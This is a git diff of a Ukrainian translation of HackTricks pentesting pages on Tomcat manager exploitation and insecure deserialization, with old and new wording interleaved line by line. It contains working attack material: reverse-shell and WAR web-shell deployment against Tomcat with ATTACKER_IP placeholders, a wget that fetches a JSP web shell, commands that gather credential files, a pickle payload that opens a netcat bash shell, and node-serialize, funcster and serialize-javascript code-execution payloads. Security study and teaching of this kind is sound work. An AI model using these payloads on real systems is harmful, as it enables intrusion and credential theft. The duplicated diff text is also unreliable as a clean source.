#### Зворотній shell
#### Зворотний шелл
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Прив'язка оболонки
#### Бінд оболонка
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Використання [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Ручний метод - Веб-оболонка
### Ручний метод - Веб-шел
Створіть **index.jsp** з таким [вмістом](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
Створіть **index.jsp** з цим [вмістом](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
@ -226,36 +208,29 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Ви також можете встановити це (дозволяє завантаження, завантаження та виконання команд): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
Ви також можете встановити це (дозволяє завантаження, скачування та виконання команд): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Ручний метод 2
Отримайте JSP веб-оболонку, таку як [цю](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) та створіть WAR-файл:
Отримайте JSP веб-оболонку, таку як [ця](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) та створіть файл WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Назва файлу облікових даних Tomcat - _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Інші способи отримання облікових даних Tomcat:
Інші способи збору облікових даних Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Інші інструменти для сканування tomcat
## Інші інструменти сканування tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -264,20 +239,23 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Група з безпеки Try Hard**
**Спробуйте Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакінговими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,38 +1,37 @@
# Десеріалізація
# Deserialization
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
## Основна інформація
**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта в майбутньому, зберігаючи його структуру та стан.
**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з метою або збереження об'єкта, або передачі його як частини процесу комунікації. Ця техніка часто використовується для того, щоб забезпечити можливість відтворення об'єкта в майбутньому, зберігаючи його структуру та стан.
**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Вона включає в себе прийняття даних, які були структуровані у певному форматі, та відновлення їх у вигляді об'єкта.
Десеріалізація може бути небезпечною, оскільки вона потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або викликати неочікувану поведінку програми під час процесу відновлення об'єкта.
**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Вона передбачає взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.
Десеріалізація може бути небезпечною, оскільки вона потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або викликати непередбачувану поведінку в додатку під час процесу відновлення об'єкта.
## PHP
У PHP під час процесів серіалізації та десеріалізації використовуються конкретні магічні методи:
В PHP під час процесів серіалізації та десеріалізації використовуються специфічні магічні методи:
* `__sleep`: Викликається під час серіалізації об'єкта. Цей метод повинен повертати масив імен всіх властивостей об'єкта, які повинні бути серіалізовані. Часто використовується для збереження невиконаних даних або виконання схожих завдань очищення.
* `__wakeup`: Викликається під час десеріалізації об'єкта. Використовується для відновлення будь-яких з'єднань з базою даних, які можуть бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
* `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації порівняно з `__wakeup`.
* `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт завершується. Зазвичай використовується для завдань очищення, таких як закриття файлових дескрипторів або з'єднань з базою даних.
* `__toString`: Цей метод дозволяє обробляти об'єкт як рядок. Він може бути використаний для читання файлу або інших завдань на основі викликів функцій всередині нього, надаючи ефективне текстове представлення об'єкта.
* `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
* `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
* `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
* `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття дескрипторів файлів або з'єднань з базою даних.
* `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
```php
<?php
class test {
@ -88,10 +87,10 @@ This is a test<br />
*/
?>
```
Якщо ви подивитеся на результати, ви побачите, що функції **`__wakeup`** та **`__destruct`** викликаються під час десеріалізації об'єкта. Зверніть увагу, що в деяких посібниках ви знайдете, що функція **`__toString`** викликається при спробі вивести деякий атрибут, але, здається, це **вже не відбувається**.
Якщо ви подивитеся на результати, ви можете побачити, що функції **`__wakeup`** та **`__destruct`** викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція **`__toString`** викликається, коли намагаються надрукувати деякий атрибут, але, очевидно, це **більше не відбувається**.
{% hint style="warning" %}
Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей та виконання будь-яких необхідних завдань під час десеріалізації.
Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань під час десеріалізації.
```php
class MyClass {
private $property;
@ -104,17 +103,17 @@ $this->property = $data['property'];
```
{% endhint %}
Ви можете прочитати пояснене **приклад PHP тут**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), тут [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) або тут [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
Ви можете прочитати пояснений **PHP приклад тут**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), тут [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) або тут [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Десеріалізація + Автозавантаження Класів
### PHP Deserial + Autoload Classes
Ви можете використовувати функціонал автозавантаження PHP для завантаження довільних php файлів та іншого:
Ви можете зловживати функціональністю автозавантаження PHP для завантаження довільних php файлів та більше:
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
{% endcontent-ref %}
### Серіалізація Звернених Значень
### Серіалізація посилальних значень
Якщо з якоїсь причини ви хочете серіалізувати значення як **посилання на інше серіалізоване значення**, ви можете:
```php
@ -131,13 +130,13 @@ $ser=serialize($o);
```
### PHPGGC (ysoserial для PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам генерувати корисні навантаження для зловживання десеріалізацією PHP.\
Зверніть увагу, що у декількох випадках ви **не зможете знайти спосіб зловживання десеріалізацією в початковому коді** додатку, але ви можете **зловживати кодом зовнішніх PHP розширень.**\
Тому, якщо можете, перевірте `phpinfo()` сервера та **шукайте в інтернеті** (навіть на **гаджетах** **PHPGGC**) можливі гаджети, якими ви можете зловживати.
[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам генерувати payload'и для зловживання десеріалізаціями PHP.\
Зверніть увагу, що в кількох випадках ви **не зможете знайти спосіб зловживати десеріалізацією в вихідному коді** програми, але ви можете **зловживати кодом зовнішніх PHP розширень.**\
Отже, якщо можете, перевірте `phpinfo()` сервера та **пошукайте в інтернеті** (навіть на **gadgets** **PHPGGC**) можливі gadgets, якими ви могли б зловживати.
### десеріалізація метаданих phar://
### phar:// метадані десеріалізації
Якщо ви знайшли LFI, який просто читає файл і не виконує php-код всередині нього, наприклад, використовуючи функції, такі як _**file\_get\_contents(), fopen(), file() або file\_exists(), md5\_file(), filemtime() або filesize()**_**.** Ви можете спробувати зловживати **десеріалізацією**, яка відбувається під час **читання** файлу за допомогою протоколу **phar**.\
Якщо ви знайшли LFI, який просто читає файл і не виконує php код всередині нього, наприклад, використовуючи функції, такі як _**file\_get\_contents(), fopen(), file() або file\_exists(), md5\_file(), filemtime() або filesize()**_**.** Ви можете спробувати зловживати **десеріалізацією**, що відбувається при **читанні** **файлу** за допомогою протоколу **phar**.\
Для отримання додаткової інформації прочитайте наступний пост:
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
@ -148,8 +147,8 @@ $ser=serialize($o);
### **Pickle**
Коли об'єкт розпаковується, буде виконана функція _\_\_reduce\_\__.\
При використанні, сервер може повернути помилку.
Коли об'єкт розпаковується, функція _\_\_reduce\_\__ буде виконана.\
При експлуатації сервер може повернути помилку.
```python
import pickle, os, base64
class P(object):
@ -157,7 +156,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
Для отримання додаткової інформації про виходи з **в'язниць pickle** перевірте:
Для отримання додаткової інформації про вихід з **pickle jails** дивіться:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -165,13 +164,13 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
На наступній сторінці представлена техніка **зловживання небезпечною десеріалізацією в бібліотеках python yamls** і завершується інструментом, який можна використовувати для генерації навантаження RCE десеріалізації для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в yamls** бібліотеках python і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного payload для **Pickle, PyYAML, jsonpickle і ruamel.yaml**:
{% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md)
{% endcontent-ref %}
### Забруднення класу (Python Prototype Pollution)
### Class Pollution (Python Prototype Pollution)
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
@ -181,10 +180,10 @@ print(base64.b64encode(pickle.dumps(P())))
### JS Magic Functions
JS **не має "магічних" функцій** як PHP або Python, які будуть виконуватися лише для створення об'єкта. Але в ньому є деякі **функції**, які **часто використовуються навіть без прямого виклику** такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
Якщо зловживати десеріалізацією, ви можете **порушити ці функції для виконання іншого коду** (потенційно зловживаючи забрудненням прототипів), ви можете виконати довільний код, коли вони будуть викликані.
JS **не має "магічних" функцій** як PHP або Python, які виконуються лише для створення об'єкта. Але має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
Якщо зловживати десеріалізацією, ви можете **компрометувати ці функції для виконання іншого коду** (потенційно зловживаючи забрудненням прототипу), ви могли б виконати довільний код, коли їх викликають.
Ще один **"магічний" спосіб виклику функції** без прямого виклику полягає в **порушенні об'єкта, який повертається асинхронною функцією** (обіцянкою). Оскільки, якщо ви **перетворите** цей **об'єкт повернення** в іншу **обіцянку** з **властивістю**, яка називається **"then" типу функція**, вона буде **виконана** просто тому, що вона повертається іншою обіцянкою. ерейдіть за_ [_**цим посиланням**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _для отримання додаткової інформації._
Ще один **"магічний" спосіб викликати функцію** без прямого виклику - це **компрометація об'єкта, який повертається асинхронною функцією** (promise). Тому, якщо ви **перетворите** цей **об'єкт повернення** в інший **promise** з **властивістю** під назвою **"then" типу функція**, він буде **виконаний** лише тому, що його повертає інший promise. _Слідкуйте_ [_**за цим посиланням**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _для отримання додаткової інформації._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -210,7 +209,7 @@ test_then()
```
### `__proto__` та забруднення `prototype`
Якщо ви хочете дізнатися більше про цю техніку, **подивіться наступний навчальний посібник**:
Якщо ви хочете дізнатися про цю техніку **ознайомтеся з наступним посібником**:
{% content-ref url="nodejs-proto-prototype-pollution/" %}
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
@ -227,41 +226,41 @@ var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
```
**Серіалізований об'єкт** буде виглядати:
**Серіалізований об'єкт** виглядатиме так:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
Ви можете побачити на прикладі, що коли функція серіалізується, до серіалізованого об'єкта додається прапорець `_$$ND_FUNC$$_`.
Ви можете побачити в прикладі, що коли функція серіалізується, до серіалізованого об'єкта додається прапорець `_$$ND_FUNC$$_`.
У файлі `node-serialize/lib/serialize.js` ви можете знайти той самий прапорець і як код його використовує.
Всередині файлу `node-serialize/lib/serialize.js` ви можете знайти той же прапорець і як код його використовує.
![](<../../.gitbook/assets/image (297).png>)
![](<../../.gitbook/assets/image (351).png>)
![](<../../.gitbook/assets/image (298).png>)
![](<../../.gitbook/assets/image (446).png>)
Як ви можете побачити в останньому шматку коду, **якщо прапорець знайдено**, використовується `eval` для десеріалізації функції, отже, **введення користувача використовується всередині функції `eval`**.
Як ви можете бачити в останньому фрагменті коду, **якщо прапорець знайдено**, використовується `eval` для десеріалізації функції, тому в основному **вхідні дані користувача використовуються всередині функції `eval`**.
Однак, **просто серіалізація** функції **не виконає її**, оскільки потрібно, щоб якась частина коду **викликала `y.rce`** у нашому прикладі, і це дуже **малоймовірно**.\
В будь-якому випадку, ви можете просто **змінити серіалізований об'єкт**, **додавши деякі дужки**, щоб автоматично виконати серіалізовану функцію при десеріалізації об'єкта.\
У наступному шматку коду **зверніть увагу на останню дужку** і на те, як функція `unserialize` автоматично виконає код:
Однак, **просто серіалізувати** функцію **не виконає її**, оскільки необхідно, щоб якась частина коду **викликала `y.rce`** в нашому прикладі, і це вкрай **малоймовірно**.\
У будь-якому випадку, ви могли б просто **модифікувати серіалізований об'єкт**, **додавши деякі дужки**, щоб автоматично виконати серіалізовану функцію, коли об'єкт буде десеріалізовано.\
У наступному фрагменті коду **зверніть увагу на останню дужку** і як функція `unserialize` автоматично виконає код:
```javascript
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
```
Як вже було вказано, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS однорядковий вираз** як у наступному прикладі:
Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS oneliner** як у наступному прикладі:
```javascript
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
```
Ви можете [**знайти тут**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **додаткову інформацію** про те, як використовувати цю уразливість.
Ви можете [**знайти тут**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **додаткову інформацію** про те, як експлуатувати цю вразливість.
### [funcster](https://www.npmjs.com/package/funcster)
Значимим аспектом **funcster** є недоступність **стандартних вбудованих об'єктів**; вони виходять за межі доступного обсягу. Це обмеження запобігає виконанню коду, який намагається викликати методи на вбудованих об'єктах, що призводить до винятків, таких як `"ReferenceError: console is not defined"`, коли використовуються команди типу `console.log()` або `require(something)`.
Помітним аспектом **funcster** є недоступність **стандартних вбудованих об'єктів**; вони виходять за межі доступної області. Це обмеження запобігає виконанню коду, який намагається викликати методи на вбудованих об'єктах, що призводить до виключень, таких як `"ReferenceError: console is not defined"` при використанні команд, таких як `console.log()` або `require(something)`.
Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе за допомогою конкретного підходу. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити за допомогою наступного уривка:
Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе через специфічний підхід. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити, використовуючи наступний фрагмент:
```javascript
funcster = require("funcster");
//Serialization
@ -276,17 +275,17 @@ funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
```
**Для отримання більш детальної інформації прочитайте цей джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**Для**[ **додаткової інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Пакет **serialize-javascript** призначений виключно для серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі відповідальні за реалізацію власного методу десеріалізації. Пряме використання `eval` рекомендується в офіційному прикладі для десеріалізації серіалізованих даних:
Пакет **serialize-javascript** призначений виключно для цілей серіалізації, не маючи жодних вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
```javascript
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
```
Якщо ця функція використовується для десеріалізації об'єктів, ви можете **легко використати це**:
Якщо ця функція використовується для десеріалізації об'єктів, ви можете **легко її експлуатувати**:
```javascript
var serialize = require('serialize-javascript');
//Serialization
@ -297,90 +296,90 @@ console.log(test) //function() { return "Hello world!" }
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
**Для** [**додаткової інформації прочитайте цей джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**Для**[ **додаткової інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Бібліотека Cryo
### Cryo бібліотека
На наступних сторінках ви знайдете інформацію про те, як зловживати цією бібліотекою для виконання довільних команд:
На наступних сторінках ви можете знайти інформацію про те, як зловживати цією бібліотекою для виконання довільних команд:
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP
У Java **виклики десеріалізації виконуються під час процесу десеріалізації**. Цю виконавчу можна використовувати зловмисниками, які створюють шкідливі навантаження, що викликають ці виклики, що призводить до потенційного виконання шкідливих дій.
В Java, **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використано зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
### Відбитки
#### White Box
#### Білий ящик
Для виявлення потенційних вразливостей серіалізації в кодовій базі шукайте:
Щоб виявити потенційні вразливості серіалізації в кодовій базі, шукайте:
* Класи, які реалізують інтерфейс `Serializable`.
* Використання функцій `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
* Використання функцій `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
Приділіть особливу увагу:
Зверніть особливу увагу на:
* `XMLDecoder`, використовуваний з параметрами, визначеними зовнішніми користувачами.
* Метод `fromXML` бібліотеки `XStream`, особливо якщо версія XStream менше або дорівнює 1.46, оскільки вона піддається проблемам серіалізації.
* `ObjectInputStream` разом з методом `readObject`.
* Реалізація методів, таких як `readObject`, `readObjectNodData`, `readResolve` або `readExternal`.
* `XMLDecoder`, що використовується з параметрами, визначеними зовнішніми користувачами.
* Метод `fromXML` бібліотеки `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації.
* `ObjectInputStream` у поєднанні з методом `readObject`.
* Реалізацію методів, таких як `readObject`, `readObjectNodData`, `readResolve` або `readExternal`.
* `ObjectInputStream.readUnshared`.
* Загальне використання `Serializable`.
#### Black Box
#### Чорний ящик
Для тестування у чорній скриньці шукайте конкретні **підписи або "Магічні байти"**, які вказують на серіалізовані об'єкти Java (походять від `ObjectInputStream`):
Для тестування чорного ящика шукайте специфічні **підписи або "Magic Bytes"**, які позначають java серіалізовані об'єкти (походять з `ObjectInputStream`):
* Шістнадцятковий шаблон: `AC ED 00 05`.
* Шаблон Base64: `rO0`.
* Заголовки відповіді HTTP з `Content-type`, встановленим на `application/x-java-serialized-object`.
* Шістнадцятковий шаблон, що вказує на попередню компресію: `1F 8B 08 00`.
* Шаблон Base64, що вказує на попередню компресію: `H4sIA`.
* Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку повинно спонукати до перевірки, як детально описано в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
* Base64 шаблон: `rO0`.
* HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`.
* Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`.
* Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`.
* Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку повинно спонукати до перевірки, як зазначено в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Перевірте, чи є вразливість
### Перевірте, чи вразливий
Якщо ви хочете **дізнатися, як працює вразливість Java Deserialized exploit**, вам варто ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією Java DNS**](java-dns-deserialization-and-gadgetprobe.md) та [**Пейлоудом CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією Java DNS**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
#### Тестування на білому ящику
#### Тестування в білому ящику
Ви можете перевірити, чи встановлено будь-яку програму з відомими вразливостями.
Ви можете перевірити, чи встановлено будь-який додаток з відомими вразливостями.
```bash
